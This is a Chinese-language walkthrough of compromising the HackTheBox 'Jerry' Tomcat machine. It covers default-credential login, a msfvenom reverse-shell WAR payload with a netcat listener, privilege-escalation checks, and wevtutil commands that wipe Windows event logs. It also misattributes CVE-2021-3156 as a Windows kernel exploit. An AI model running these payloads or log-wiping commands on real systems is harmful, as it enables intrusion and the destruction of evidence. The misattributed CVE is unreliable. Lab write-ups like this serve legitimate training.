1. 靶机环境与目标分析
Jerry是HackTheBox平台上的一台Windows靶机,运行着Apache Tomcat服务。从标题可知,这台机器存在Tomcat默认凭据漏洞,最终目标是获取SYSTEM权限的Shell。在实际渗透测试中,这类配置不当的中间件服务器往往是企业内网突破的第一道门户。
Tomcat作为广泛使用的Java应用服务器,管理员常犯的错误包括:
- 使用默认安装配置
- 保留示例应用和文档
- 未修改默认的管理员凭据
- 未及时更新安全补丁
在开始渗透前,我们需要明确几个关键点:
- 靶机IP地址(通过HTB平台分配)
- 开放的服务端口(通常Tomcat运行在8080)
- 可用的默认凭据组合(如tomcat:s3cret)
重要提示:在真实环境中进行此类测试必须获得书面授权,未经许可的渗透测试可能涉及法律风险。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集与漏洞确认
2.1 基础端口扫描
使用Nmap进行初步扫描是标准流程。对于Windows靶机,建议使用以下命令:
bash复制nmap -sV -sC -O -p- 10.10.10.95
关键参数说明:
-sV:服务版本检测-sC:运行默认脚本-O:操作系统检测-p-:扫描所有端口
扫描结果通常会显示8080端口开放,运行着Tomcat服务。版本信息可能显示较旧的Tomcat(如8.5.19),这些版本往往存在已知漏洞。
2.2 Tomcat管理界面探测
访问http://<靶机IP>:8080/manager/html会跳转到登录页面。尝试以下默认凭据组合:
- tomcat:tomcat
- admin:admin
- tomcat:s3cret
- admin:空密码
成功登录后,你将看到Tomcat Web应用管理器界面。这个界面允许上传WAR文件部署应用,是获取初始立足点的关键。
3. WAR文件部署与反向Shell获取
3.1 生成恶意WAR文件
使用msfvenom生成包含反向Shell的WAR文件:
bash复制msfvenom -p java/jsp_shell_reverse_tcp LHOST=<你的IP> LPORT=4444 -f war -o shell.war
参数解析:
-p:指定payload类型LHOST/LPORT:监听器的IP和端口-f war:输出格式为WAR-o:输出文件名
3.2 部署和执行WAR文件
在Tomcat管理界面:
- 找到"WAR file to deploy"部分
- 上传生成的shell.war文件
- 点击Deploy按钮
部署成功后,访问http://<靶机IP>:8080/shell/即可触发payload。在此之前,需要先设置Netcat监听:
bash复制nc -lvnp 4444
4. 权限提升至SYSTEM
4.1 初始立足点评估
获取的反向Shell通常是Tomcat服务账户权限。执行以下命令收集系统信息:
cmd复制whoami /all
systeminfo
net user
Windows系统上,Tomcat通常以"NT AUTHORITY\SYSTEM"或特定用户身份运行。如果是前者,你已经拥有最高权限;如果是后者,需要进一步提权。
4.2 利用Windows服务提权
检查可写服务路径:
cmd复制accesschk.exe -uwcqv "Authenticated Users" *
sc qc <服务名>
如果发现配置不当的服务,可以通过服务二进制文件替换或DLL劫持获取SYSTEM权限。常见方法包括:
- 替换服务对应的可执行文件
- 利用weak service permissions
- 滥用AlwaysInstallElevated策略
4.3 最终权限确认
成功提权后,执行:
cmd复制whoami
应显示"nt authority\system",表示已获得最高权限。
5. 渗透后的清理与痕迹消除
5.1 清除上传的WAR文件
通过Tomcat管理界面:
- 找到部署的shell应用
- 点击Undeploy按钮
5.2 删除系统上的后门
检查以下位置并清理:
- 临时目录(%TEMP%)
- 服务二进制路径
- 启动项
5.3 日志清理
处理Windows事件日志:
cmd复制wevtutil cl System
wevtutil cl Security
wevtutil cl Application
6. 防御建议与加固措施
6.1 Tomcat安全配置
- 修改默认管理员凭据
- 删除示例应用和文档
- 限制管理界面访问IP
- 启用HTTPS加密
- 定期更新Tomcat版本
6.2 系统层面防护
- 遵循最小权限原则
- 定期审核服务账户权限
- 启用Windows Defender或第三方杀毒软件
- 配置适当的防火墙规则
- 监控异常网络连接
7. 实际渗透中的常见问题
7.1 反向Shell连接失败
可能原因:
- 防火墙阻挡了出站连接
- 监听器配置错误
- 网络地址转换(NAT)问题
解决方案:
- 尝试不同端口(如53、80、443)
- 使用DNS或HTTP隧道技术
- 检查监听器是否在正确接口上运行
7.2 权限提升受阻
当标准方法失效时,可尝试:
- 内核漏洞利用(如CVE-2021-3156)
- 密码哈希提取与破解
- 查找敏感配置文件中的凭据
- 利用计划任务或启动项
8. 扩展知识与进阶技巧
8.1 替代的Shell获取方法
除了msfvenom,还可以使用:
- JSP反向Shell代码手动打包
- 基于Java的反序列化漏洞
- Tomcat AJP协议滥用
8.2 隐蔽持久化技术
在红队评估中,可考虑:
- 内存驻留技术
- 无文件攻击
- 合法账户劫持
- 金票/银票攻击
8.3 自动化工具整合
将手动流程整合到自动化框架:
- Metasploit模块使用
- Cobalt Strike团队服务器
- Empire/DeathStar等工具链
在真实渗透测试项目中,这种从Web应用到系统权限的完整突破链非常典型。掌握Tomcat这类中间件的攻击手法,对理解企业安全防护薄弱环节至关重要。每次测试后,建议详细记录每个步骤和对应防御措施,这对提升个人技术能力和企业安全建设都有显著价值。
